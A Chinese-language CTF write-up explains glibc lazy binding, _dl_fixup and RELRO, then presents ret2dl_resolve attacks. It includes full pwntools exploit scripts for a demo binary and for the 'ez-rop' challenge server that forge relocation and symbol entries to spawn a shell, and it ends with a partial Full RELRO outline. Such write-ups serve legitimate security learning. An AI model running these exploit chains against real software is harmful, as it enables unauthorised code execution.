# Ret2dl_resolve 研究心得 aka CyberSpace'24 ez-rop writeup
九月初跟[xiulan](https://x1ulan.github.io/about/)打了CyberSpace CTF 2024,碰到一題Pwn題 - ez-rop,雖然說是一題ROP,程式中有一個Overflow 20bytes的輸入,但是可以用的Gadget並不多,題目沒有給Libc,程式中使用到的函式也很少,不管怎麼看都不知道怎麼打,賽後我就在這場CTF的官方DC群找別人的writeup,看到有人提到這題他的解是**ret2dl_resolve**,為了把這題搞懂,我便研究起這個攻擊手法。
本文章(兼我的筆記)會依序提到Lazy Binding運作、針對Lazy Binding的安全機制、No RELRO及Partial RELRO下的攻擊手法,以及最後會打本文章的大魔王,ez-rop。
在繼續看下去之前,我想先說:

## Lazy Binding
一支程式使用到來自函式庫的函式,編譯的時候可以把這些函式都包進去執行檔裡面,這就是**Static Linking**,在呼叫函式的時候,函式都在同一個執行檔裡面,要用可以直接用,又快又方便,但是這樣會導致執行檔變得很肥。於是,**Dynamic Linking**出現了,不把函式全包進去執行檔裡面,而是在執行檔執行的過程中,從系統中的函式庫抓函式來用,因為函式不會都被包進去執行檔裡,執行檔會比較小,但是執行的速度會較Static Linking來的慢(因為要尋找要用的函式在函式庫裡的位置),且如果系統裡剛好沒有對應的函式庫,執行檔就會跑不起來。
在Linux作業系統,使用了**Lazy Binding**機制,在這個機制中,使用了兩張表,分別是**GOT(Global Offset Table)**、**PLT(Procedure Linkage Table)**。
以下講解使用ez-rop作為範例。
以下是fgets的PLT表。

PLT表儲存於Code Segment內,呼叫函式時,會進入所要呼叫函式的PLT表,這邊演示呼叫``fgets``,進入fgets的PLT表。在``0x401060``處,會跳轉到``fgets``的GOT表內填的地址。
以下是``fgets``的GOT表,GOT表儲存在Data Segment。

因為``fgets``是第一次被調用,裡面還沒有``fgets``的真正位址,填入的位址是``0x401066``,即``fgets@plt + 6``,就是進入尋找函式的部分,去找``fgets``在函式庫的位置。
``0x401066``處向Stack中壓入``0x3``,這是``reloc_arg``,後面會講這是幹嘛的。
接著``0x40106b``跳轉``0x401020``,在這裡又向Stack壓入存在``0x403ff0``裡的數值。

``0x403ff0``存的是指向``link_map``(這啥之後也會講)的指標。

接著跳轉到``0x403ff8``內所存指針指向的位址。
以下是``0x403ff8``內儲存的指針,指向``_dl_runtime_resolve_xsave``。

跳轉過去之後進入``_dl_runtime_resolve_xsave``

在這裡會把暫存器中的值存入stack,接著``rdi``設定成``link_map``的位址,``rsi``設定成``reloc_arg``,呼叫``_dl_fixup``,``_dl_fixup``會去尋找目標函式(這邊是``fgets``)在函式庫內的位置,將找到的位址寫入目標函式的GOT中,並返回目標函式的位址,最後把呼叫``_dl_fixup``之前存進去Stack的數值回復到暫存器,並跳轉到目標函式。
以下是``_dl_runtime_resolve_xsave``的ASM:

調用過一次函式之後,``fgets``GOT表內已經有這個函式的真實位址,下次調用函式時,一樣會進去``fgets``的PLT,但是要跳轉到``fgets``的GOT表內填的地址時,因為裡面寫的已經是``fgets``的真實位址,就會直接跳轉到``fgets``執行,而不是再往下跑一次尋找函式的過程。

Lazy Binding的運作可以參考下面這張圖(從可能是Bamboofox的簡報偷出來的)

針對Lazy Binding機制的利用,呼叫函式時,會先進入函式的PLT,把函式GOT表中的數值當成位址並且跳轉過去,GOT裡面寫啥,就會跳轉到哪裡。因此,如果可以自己寫東西到GOT表內,把GOT表填成別的地方的位址,然後再調用函式,這樣就會跳到你想要去的地方,進一步去Get shell之類的,而這個利用招數就是**GOT Hijacking**。
但是,不是每次的環境都這麼舒服。在``ez-rop``中,程式很小(程式裡面也沒有``system``、``execve``之類的東西),Gadget不多(也沒有syscall可以用),題目沒有給libc(沒法拿libc串ROP),甚至沒有輸出函式,沒法Leak出任何東西,這個時候,就輪到對Lazy Binding機制的另一種利用方式,``ret2dl_resolve``。
進入``_dl_runtime_resolve_xsave``之前,``link_map``的位址和``reloc_arg``會被壓入Stack中,在調用``_dl_fixup``的時候作為參數傳入。
``link_map``結構體儲存於``ld.so``中,是Glibc動態連結器管理共享庫信息的關鍵結構體。``link_map``的定義可以在[這裡](https://elixir.bootlin.com/glibc/glibc-2.37/source/include/link.h)看到,``link_map``是一個雙向鍊表,當中包括很多資料,不過在這邊我們主要關注``l_info``,``l_info``是一個存有指向``.dynamic``區域的指針的列表,如``l_info[DT_STRTAB]``、``l_info[DT_SYMTAB]``、``l_info[DT_JMPREL]``、...等,而這些指針在``_dl_fixup``中有很大的作用。
接著我們看到``.dynamic``,``ez-rop``的``.dynamic``存在``0x403e08``中。這裡保存了很多``ELF32_DYN``或是``ELF64_DYN``(看程式是32位元還是64位元的)結構體,在這裡可以找到指向``__DT_SYMTAB``、``__DT_STRTAB``、``__DT_JMPREL(.rel.plt)``...等結構的指標。而``link_map -> l_info``中所存的指標,就是指向這邊,如``l_info[DT_JMPREL]``指向的就是如下圖所示之位置(在 ez-rop 中是``0x403f08``),可以看到下面``0x403f10``位置就存放指向``__DT_JMPREL``的指標。

``__DT_JMPREL``,指向``.rel.plt``,內有``r_offset``,放入函式的GOT表位址(圖中是fgets的``.rel.plt``,``0x404018``是fgets的GOT位址)。``r_info``分成兩個部分,下4bytes(``0x00000007``部分)是重定位類型,而上4bytes(``0x00000005``部分)則是在存取``__DT_SYMTAB``時作為索引使用。

下圖是fgets的``__DT_SYMTAB``,索引值為``5``,剛好對應到上面fgets的``.rel.plt -> r_info``上4bytes是``5``,其中,``st_name``是函式在``__DT_STRTAB``的資料的偏移值。

下圖是``ez-rop``的``__DT_STRTAB``,位址``0x4004c0``,可以看到字串``fgets``是位在``0x4004c1 (0x4004c0 + 0x1)``,對應fgets的``__DT_STMTAB -> st_name = 0x1``。

另外,``__DT_STRTAB``、``__DT_SYMTAB``、``__DT_JMPREL (.rel.plt)``等結構體都是儲存在``0x400xxx``不可寫段中,``.dynamic``可不可寫則是看安全機制開多少(下面會提),而``link_map``則是存放在``ld.so``的可寫段中。
最後,我們來到``_dl_fixup``的source code,同款Code點[連結](https://elixir.bootlin.com/glibc/glibc-2.37/source/elf/dl-runtime.c)獲取。
```c=
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
// 獲取__DT_SYMTAB的位址
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 獲取__DT_STRTAB的位址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
// reloc = __DT_JMPREL(.rel.plt)[reloc_arg] ( __DT_JMPREL(.rel.plt) + 24 * reloc_arg )
// __DT_JMPREL 每個項目都是 24 bytes
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL])
+ reloc_offset (pltgot, reloc_arg));
// sym = symtab[reloc -> r_info] (symtab + 24 * (reloc -> r_info >> 32))
// reloc -> r_info 取上 4bytes
// __DT_SYMTAB 每個項目都是 24 bytes
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
// ELF_MACHINE_JMP_SLOT 的定義是 7 , 所以(reloc -> r_info)的下 4bytes 必須是 0x7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// _dl_lookup_symbol_x : 在加載的共享對象的符號表中搜尋符號的定義
// 第一個參數放入函式的名稱,取用於 __DT_STRTAB
// ( strtab + sym->st_name ) 取函數名稱傳入
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
// 下面就是把函數位址算出來,把位址寫入函式的GOT表內,並回傳查詢結果(函式的位址)
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
#ifdef SHARED
/* Auditing checkpoint: we have a new binding. Provide the auditing
libraries the possibility to change the value and tell us whether further
auditing is wanted.
The l_reloc_result is only allocated if there is an audit module which
provides a la_symbind. */
if (l->l_reloc_result != NULL)
{
/* This is the address in the array where we store the result of previous
relocations. */
struct reloc_result *reloc_result
= &l->l_reloc_result[reloc_index (pltgot, reloc_arg, sizeof (PLTREL))];
unsigned int init = atomic_load_acquire (&reloc_result->init);
if (init == 0)
{
_dl_audit_symbind (l, reloc_result, sym, &value, result);
/* Store the result for later runs. */
if (__glibc_likely (! GLRO(dl_bind_not)))
{
reloc_result->addr = value;
/* Guarantee all previous writes complete before init is
updated. See CONCURRENCY NOTES below. */
atomic_store_release (&reloc_result->init, 1);
}
}
else
value = reloc_result->addr;
}
#endif
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
```
所以,我們可以總結``_dl_fixup``做的事情,如下:
1. ``__DT_JMPREL[reloc_arg] (__DT_JMPREL + reloc_arg * 24)`` 取得函式的``.rel.plt``位址,記入``reloc``變數
2. ``strtab[reloc -> r_info >> 0x20 /* 取上4bytes */ ] (strtab + (reloc->r_info >> 0x20) * 24)``取得函式的``symtab``位址,記入``sym``變數
3. 檢查``reloc->r_info``的下4bytes是否為``0x7``
4. ``strtab + sym->st_name``取得函式名稱,跟其他資料一起丟進去``_dl_lookup_symbol_x``
> ``_dl_lookup_symbol_x``搜尋出哪個函式的東西,跟第一個參數,也就是傳入的函式名稱字串是直接相關的。如果丟進去的是``fgets``,那搜尋出來的就會是fgets的東西,最後修復出來的就會是fgets的位址。
5. 繼續運算,修復出函式位址,寫入函式的GOT中,並回傳
**(筆記,這邊可以手繪一張圖去表明這個調用的流程)**
理解了Lazy Binding的原理之後,我們再了解一下對於Lazy Binding的保護機制。
## RELRO
全稱**RELocation Read Only**,是針對Lazy Binding的保護機制,有三種等級。
No RELRO - ``.dynamic`` 跟 GOT 都可以寫
Partial RELRO - ``.dynamic``不可寫,GOT可以寫
Full RELRO - ``.dynamic`` 跟 GOT 都不可寫,在程式開始執行之前,動態連結器就會找好要用到的所有函式的位址並填入 GOT 表內。因為沒有跑到一半去找函式的需要了,存放``link_map``位址跟存放``_dl_runtime_resolve``位址的地方都會被設置為``0``,對這個攻擊手法來說,算是丟失了最重要的資訊||但不代表找不回來||
## Attack 0x1 -> x64 -> No RELRO
在 No RELRO 的情況下,``.dynamic``可以覆寫。在上面有提到,``_dl_lookup_symbol_x``找到什麼東西,跟第一個參數,也就是傳進去的函式名稱字串是直接相關的,如果我們修改``.dynamic``中``__DT_STRTAB``的指標,使其指向自己偽造的``__DT_STRTAB``,在自己偽造的``__DT_STRTAB``中把某個函式的名稱替換成``execve``或是``system``,就可以進一步Get Shell。
**(筆記,這裡可以畫一張圖示意)**
### Demo 0x1
```c=
// gcc chal.c -o chal -fno-stack-protector -no-pie -z noexecstack -z norelro
#include <stdio.h>
void vuln()
{
asm("pop %rdi ; ret");
asm("pop %rsi ; ret");
asm("pop %rdx ; ret");
}
int main()
{
char buf[128] = {0};
read(0, buf, 0x1000);
return 0;
}
```
~~這邊為了偷懶自己塞了一些好用的Gadget進去~~
在這題中,可寫段位在``0x403000``到``0x404000``之間,``.dynamic``中的``__DT_STRTAB``指標位在``0x403198``。
解題思路就是構造 ROP Chain,先``read(0, 0x403d00, 0x100)``寫入假的 .strtab 跟 ``/bin/sh`` 到可寫段中。
接著``read(0, 0x403198, 0x100)``,改寫 __DT_STRTAB 指針指到剛剛偽造的 .strtab
最後``rdi = /bin/sh , rdi = 0 , rdx = 0``,跳轉``read + 0x6``,這邊是``read@plt``的第二行,即為尋找地址的開始,因為``__DT_STRTAB``已經被我們竄改,最後抓到的 strtab 就會是我們偽造的那個,抓到的函式名稱就會變成 ``execve``,導致 ``_dl_fixup`` 最後找到的是 ``execve`` 的地址。
Exploit:
```python=
from pwn import *
r = process("./chal")
main = 0x00000000004011bb
pop_rdi = 0x000000000040112a
pop_rsi = 0x000000000040112c
pop_rdx = 0x000000000040112e
read = 0x401030
payload = "\x00" * (0x80) # padding
payload += p64(0x403d00) # saved_rbp
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(0x403d00) # writable
payload += p64(pop_rdx) + p64(0x100)
payload += p64(read) # read(0, 0x403d00, 0x100) # input.2
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(0x403190 + 0x8)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(read) # read(0, 0x403198, 0x100) # input.3
payload += p64(pop_rdi) + p64(0x403d00 + 0x8)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(read + 0x6)
raw_input()
r.sendline(payload)
# input.2
payload = "\x00execve\x00/bin/sh\x00"
raw_input()
r.sendline(payload)
# input.3
payload = p64(0x403d00)
raw_input()
r.sendline(payload)
r.interactive()
```
## Attack 0x2 -> x64 -> Partial RELRO
在 Partial RELRO 的情況下,``.dynamic``不可寫,所以我們沒辦法透過修改``.dynamic``,直接讓``_dl_fixup``讀到的``_DT_STRTAB``變成自己偽造的。不過前面有提到,傳入``_dl_fixup``的``reloc_arg``會被作為索引,找出函式的``.rel.plt``,也就是``_DT_JMPREL[reloc_arg] (_DT_JMPREL + reloc_arg * 24)``,而``.rel.plt``的``r_info``上4bytes又會被作為``_DT_SYMTAB[r_info >> 0x20] (_DT_SYMTAB + (r_info >> 0x20) * 24)``去找出函式的``_DT_DYMTAB``,然後然後,``_DT_SYMTAB``的``st_name``又會``_DT_STRTAB + st_name``去找到函式的名稱,最後丟去``_dl_lookup_symbol_x``。
所以,我們可以主動壓入一個很大的``reloc_arg``,讓算出來的``.rel.plt``在一個可寫段裡面,然後跳轉到某個函式的``plt + 11``(跳過原本plt表壓入``reloc_arg``的部分),接著在``_DT_JMPREL + reloc_arg * 24``處偽造一個``.rel.plt``,讓``r_info >> 0x20``是一個很大的數字,控制``_DT_SYMTAB + (r_info >> 0x20) * 24``也進入可寫段裡面,在``_DT_SYMTAB + (r_info >> 0x20) * 24``偽造一個``_DT_SYMTAB``,``st_name``也給它設置成一個大數字,讓``_DT_STRTAB + st_name``也掉進去可寫段,在``_DT_STRTAB + st_name``處偽造一個``_DT_STRTAB``,讓``_dl_fixup``抓到的函式名稱變成``system``或是``execve``,就是整個利用過程的思路。
**(筆記,這裡可以畫一張圖表明整個利用的思路)**
這邊有個小坑點,這邊看回``_dl_fixup``的source code:
```c=
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
// 略
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
// !! 注意這個部分 !!
// 這裡確認 link_map->l_info 中存在指向 .dynamic _DT_VERSYM 項目的指標
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
// 這裡取得 _DT_VERSYM 地址,記入 vernum 變數
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
// 訪問 vernum[ reloc->r_info >> 0x20 ] (vernum + 2 * (reloc->r_info >> 0x20)) 數值,存入 ndx
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
// 訪問 l->versions[ndx] 記入 version
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
// 略
// _dl_lookup_symbol_x : 在加載的共享對象的符號表中搜尋符號的定義
// 第一個參數放入函式的名稱,取用於 __DT_STRTAB
// ( strtab + sym->st_name ) 取函數名稱傳入
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 略
```
走進去``if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)``分支中,這個部分是處理一些有關於版本的東西。進入分支之後取得``_DT_VERSYM``位址,存入``vernum``,接著以``reloc->r_info``的上4bytes,也就是``reloc->r_info>>0x20``,做索引訪問``vernum``,``vernum[reloc->r_info >> 0x20] (vernum + 2 * (reloc->r_info >> 0x20))``數值存入``ndx``,``&l->l_versions[ndx]``記入``version``,最後判斷``version->hash``是否為``0``,為``0``的話``version``設定``NULL``。
是不是有些熟悉,有個東西好像也使用``reloc->r_info``的上4bytes,沒錯,就是在找函式的``_DT_SYMTAB``部分!也是用``reloc->r_info``的上4bytes作為索引,但是,``_DT_SYMTAB``一個項目是24bytes(``_DT_SYMTAB + 24 * (reloc->r_info >> 0x20)``),``_DT_VERSYM``一個項目只有2bytes(``_DT_VERSYM + 2 * (reloc->r_info >> 0x20)``)。所以偽造``_DT_JMPREL(.rel.plt)``時,要注意``r_info``上4bytes設定,要讓``_DT_SYMTAB + 24 * (reloc->r_info >> 0x20)``進入可寫段的同時,``_DT_VERSYM + 2 * (reloc->r_info >> 0x20)``在有效的記憶體位址(指向``0``讓``ndx``直接抓到``0``是沒關係的。事實上,傳入``_dl_lookup_symbol_x``的``version``就算是``NULL``,函式也能正常被解析出來)。
還有一個小坑點是,在``dl_runtime_resolve_xsave``的 asm (往上滑可以找到)中,可以看到寄存器的值會先被放到 stack 上,跑完``dl_fixup``之後再從 stack 回復寄存器數據。而存入 / 讀出數據部分都是以 ``rsp + 0x??`` 相對位址去決定數據存取的位置,所以``rsp``的值不能太大,不然在存入暫存器數據的這一步就可能會因為存取到記憶體不可寫區段而導致程序崩潰。
### Demo 0x2 -> 大魔王 ez-rop

題目本身沒給libc

看一下安全機制開多少

查看其偽代碼,有漏洞的輸入位在``FUN_00401192``中。

輸入 overflow 20bytes,可以覆寫``saved rbp``跟``return address``。

能用的 ROP Gadget 並不多。

這裡主要會用到以下幾個 Gadget:
```
0x0000000000401190 : leave ; ret
0x000000000040113d : pop rbp ; ret
0x000000000040113d : mov rdi , rsi ; ret
0x0000000000401165 : pop rsi ; ret
```
另外程式中還藏了一個沒有用到的``read``,在``0x40116a``,``read``之後會調用到做更大的寫入。

利用思路如下:
先進行 Stack Migration 把 rbp 變到可寫段上(``saved rbp``寫一個可寫段的地址,這邊寫``0x404e00``),然後 return 到 ``0x40119a``。
以下是 ``FUN_00401192`` 的 asm:

```python
# 第一次輸入
payload = "a" * 96 + p64(0x404e00) + p64(fgets)
```
接著下一次的輸入,輸入內容會在``0x404e00 - 0x60``,輸入以下的payload:
```python
# 第二次輸入
payload = "a" * 8 + p64(pop_rbp) + p64(0x404e18) + p64(fgets)
payload += "a" * (96 - len(payload)) + p64(0x404e00 - 0x60) + p64(leave_ret)
```
執行到``0x4011b6 : leave ; ret``的時候,``rsp``就會變到``0x404e00``,``rbp``就會變到``0x404e00-0x60``,後面多塞一個``leave ; ret``的 Gadget,會先``mov rsp , rbp``,此時``rsp``就又變到``0x404e00-0x60``,之後``pop rbp``不過因為``0x404e00 - 0x60``是``aaaaaaaa``所以接``pop rbp ; ret``Gadget,把``rbp``變到``0x404e18``(這裡有伏筆),接著接去``0x40119a``重跑``fgets``。
由於``FUN_00401192``的 overflow 的東西實在有限,所以我打算調用``read``(本來就有在這個程式裡面,只是不會執行到)。``rbx``需要設定成一個足夠大的數字,才能提供夠多的 overflow。但是``0x4011b2``會把``rbx``清空(``xor rbx , rbx``),我也沒有 Gadget 直控 rbx。此時發動的``fgets``,``return address``會出現在``0x404db8``,所以上面的``rbp``才會給在``0x404e18``,這樣發動的``fgets``寫入位置就是``rbp - 0x60 = 0x404e18 - 0x60 = 0x404db8``,就可以蓋掉``return address``串上 ROP chain,也躲掉了往下執行``xor rbx , rbx``(此時``rbx``留下``stdin``的位址,算是一個很大的值)。
重跑``fgets``時,打入以下``payload``,第一個``p64(pop_rsi)``蓋的就是``fgets``的``return address``(``0x404e18 - 0x60 = 0x404db8``),接著設定``rdi``為``0``(``stdin``),``rsi``為``9x404300``,然後就可以發動``read``了。
```
# 第三次輸入
payload = p64(pop_rsi) + p64(0) + p64(mov_rdirsi) + p64(pop_rsi) + p64(0x404300) + p64(0x401050) # read -> fake more
```
發動``read``的時候就可以把所有要偽造的東西寫在可寫段上了。
這裡還構造了另一條 ROP Chain,是因為上面的 ROP Chain 是 fgets 輸入構造出來的,能打的 Gadgets 時在有限,所以這裡另外做一條。
```
# 第四次輸入(這次是用read)
# FAKE EVERYTHING HERE
# Fake jmprel
# jmprel at (0x4005f0 + 652 * 24) = 0x404310
payload = "\x00"*0x10
payload += p64(0x404018) # r_offset -> fgets@got.plt
r_info = (676 << 32) + 0x7
payload += p64(r_info) # r_info (ndx drop 0x400a78 -> 0x0)
payload += p64(0) # r_addend
# Fake symtab (struct 24 bytes)
payload += "\x00" * (48 - len(payload)) # padding
# symtab at (0x4003d0 + 676 * 24) = 0x404330
strtab_pos = 0x3ea0 + 0x7
payload += p32(strtab_pos) # st_name
payload += "\x12" # st_info
payload += "\x00" # st_other
payload += "\x00\x00" # st_shndx
payload += p64(0) # st_value
payload += p64(0) # st_size
# Fake strtab
payload += "\x00" * (48 - 24)
# strtab at 0x404360
payload += "\x00fgets\x00execve\x00/bin/sh\x00"
# another rop
payload += "\x00" * (0x404d00 - 0x404360 - 22) # padding
payload += p64(0x404e00) # saved_rbp
payload += p64(pop_rsi) + p64(binsh) + p64(mov_rdirsi)
payload += p64(pop_rsi) + p64(0)
payload += p64(plt0) # -> dl_resolve
payload += p64(reloc)
```
接著設定``rbp``來到``0x404d00``,清空``rbx``,因為是``xor rbx , rbx ; leave ; ret``,所以``rsp``又會被變成``0x404d00``,``rbp``就會取到第四次輸入時構建的第二條 ROP Chain 放的 ``0x404e00``,接著(第二條ROP Chain)設定好``rsi = 0``,``rdi = /bin/sh 的位址``,最後跳轉到某函式的plt表上進行函式尋找,並在Stack上留下一個很大的``reloc_arg``。
```
# 這裡還是第三次輸入的內容喔
payload += p64(pop_rbp) + p64(0x404d00)
payload += p64(0x4011b2) # xor rdx , rdx ; leave ; ret
payload += p64(0x404d00) # saved_rbp
```
因為``reloc_arg``夠大,找到的``.rel.plt``就會是在可寫段上,算好就會到我們剛剛偽造的位置,接著``.rel.plt -> r_info``上4bytes也設定的夠大,讓找到的``_DT_SYMTAB``也掉到可寫段上,相應的位置偽造``_DT_STRTAB``,``st_name``也寫一個很大的數值,讓找到的``_DT_STRTAB``也掉到可寫段上,相應位置就寫``execve``,最後找到的函式就會變成``execve``,執行的動作就會是``execve("/bin/sh", 0, 0)``,就可以成功 Get Shell。
**(筆記,我覺得可以畫一些圖,畫出在記憶體上的布局)**
Exploit:
```python=
from pwn import *
# r = process("./chall")
r = remote("ez-rop.challs.csc.tf", 1337)
fgets = 0x40119a
leave_ret = 0x0000000000401190
pop_rbp = 0x000000000040113d
# stack migration
payload = "a" * 96 + p64(0x404e00) + p64(fgets)
r.sendline(payload)
# change fgets ret addr
payload = "a" * 8 + p64(pop_rbp) + p64(0x404e18) + p64(fgets)
payload += "a" * (96 - len(payload)) + p64(0x404e00 - 0x60) + p64(leave_ret)
r.sendline(payload)
mov_rdirsi = 0x000000000040115a
pop_rsi = 0x0000000000401165
# plt0 = 0x401026
plt0 = 0x401020
reloc = 652
binsh = 0x40436e
# rop here
payload = p64(pop_rsi) + p64(0) + p64(mov_rdirsi) + p64(pop_rsi) + p64(0x404300) + p64(0x401050) # read -> fake more
payload += p64(pop_rbp) + p64(0x404d00)
payload += p64(0x4011b2) # xor rdx , rdx ; leave ; ret
payload += p64(0x404d00) # saved_rbp
# raw_input()
r.sendline(payload)
# FAKE EVERYTHING HERE
# Fake jmprel
# jmprel at (0x4005f0 + 652 * 24) = 0x404310
payload = "\x00"*0x10
payload += p64(0x404018) # r_offset -> fgets@got.plt
r_info = (676 << 32) + 0x7
payload += p64(r_info) # r_info (ndx drop 0x400a78 -> 0x0)
payload += p64(0) # r_addend
# Fake symtab (struct 24 bytes)
payload += "\x00" * (48 - len(payload)) # padding
# symtab at (0x4003d0 + 676 * 24) = 0x404330
strtab_pos = 0x3ea0 + 0x7
payload += p32(strtab_pos) # st_name
payload += "\x12" # st_info
payload += "\x00" # st_other
payload += "\x00\x00" # st_shndx
payload += p64(0) # st_value
payload += p64(0) # st_size
# Fake strtab
payload += "\x00" * (48 - 24)
# strtab at 0x404360
payload += "\x00fgets\x00execve\x00/bin/sh\x00"
# another rop
payload += "\x00" * (0x404d00 - 0x404360 - 22) # padding
payload += p64(0x404e00) # saved_rbp
payload += p64(pop_rsi) + p64(binsh) + p64(mov_rdirsi)
payload += p64(pop_rsi) + p64(0)
payload += p64(plt0) # -> dl_resolve
payload += p64(reloc)
# raw_input()
# fake here
r.sendline(payload)
r.interactive()
```
## 一山還有一山高 - Full RELRO 下的利用方式
複習一下安全機制,在開到 Full RELRO 的情況下,GOT 跟 ``.dynamic`` 都不可寫,動態連結器會在程式開始跑之前就把所有要用到的函式的位址找好並填入 GOT 內,所以程式在開始執行之後就已經不會再有任何需要去找函式位址的狀況了,也因為這樣,``link_map``跟``_dl_runtime_resolve_xsave``用不到了,所以原本存放這兩個東西的位址的地方(分別是``GOT[1]``跟``GOT[2]``)就都會被設置為``0``。對於這個攻擊手法來說,沒了這兩個東西,那還怎麼打?
這個時候看回``.dynamic``段,這裡會有一個指向名為``r_debug``的結構體的指針。

``r_debug``結構體中,``r_map``(``r_debug + 0x8``)就會放``link_map``的指針。所以,我們找回了``link_map``。

但是,還是不知道``_dl_runtime_resolve_xsave``在哪裡,不過,一樣有地方可以找到。程式本身是開了 Full RELRO 沒錯,但這不代表程式運行,載進來的共享函式庫有開 Full RELRO,可以在下圖看到,這台 ubuntu 22.04.4 (Glibc 2.35) 的 libc.so.6 就沒有開 Full RELRO。

前面也有講到,``link_map``是一個雙向鍊表,裡面存在``l_prev``和``l_next``兩個項目,鍊結著其他的``link_map``,所以我們只要在找到程式本身的``link_map``之後,順著``l_prev``跟``l_next``摸到``libc.so.6``的``link_map``,從``libc.so.6``的``link_map``中找到``DT_PLTGOT``的指針,而``DT_PLTGOT``中有指向 GOT 表的指針,所以最後透過這個指針再摸到``libc.so.6``的 GOT 表,即可在``GOT[2] (GOT + 0x10)``的位置看到``_dl_runtime_resolve_xsave``的位址。至此,最重要的兩個東西都蒐集到了,就變回 Partial RELRO 的情況了。
這裡有個小坑點,在不同的作業系統中,``libc.so.6``的安全防護等級會不同,如 Ubuntu 24.04 (Glibc 2.39) 的``libc.so.6``即是開啟了 Full RELRO,在這個情況下,連``libc.so.6``都沒有``_dl_runtime_resolve_xsave``的位址,就會變的超級難打。經過測試之後發現,Ubuntu 23.10 及更舊的版本,``libc.so.6``都是Partial RELRO,目前只有 Ubuntu 24.04 的 ``libc.so.6`` 是開啟 FULL RELRO,而 Debian 到最新的穩定版本 Debian 12,``libc.so.6``都還是Partial RELRO。這個跟作業系統不同比較有關係,我的 Kali Linux 是 Glibc 2.37,``libc.so.6``開啟了 Full RELRO,但是使用相同 Glibc 版本的 Ubuntu 的``libc.so.6``卻是 Partial RELRO。所以建議大家自己測過環境上的``libc.so.6``是開 Partial RELRO 還是 Full RELRO,才會比較準。
整理以上資訊,我們可以得出以下思路:
1. 找到程式本身的``DT_DEBUG``,透過裡面儲存的指向``r_debug``的指針訪問``r_debug``結構體。
2. 透過``r_debug``結構體內的``r_map``(位在``r_debug + 0x8``),訪問程式的``link_map``。
3. 透過程式``link_map``的``l_prev``跟``l_next``(位在``link_map + 0x18``),訪問上 / 下一張``link_map``,直到摸到``libc.so.6``的``link_map``。
4. 在``link_map``中找到指向``libc.so.6``的``DT_PLTGOT``指針(會在``link_map + 0x58``),訪問``libc.so.6``的``.dynamic``中``DT_PLTGOT``項目。
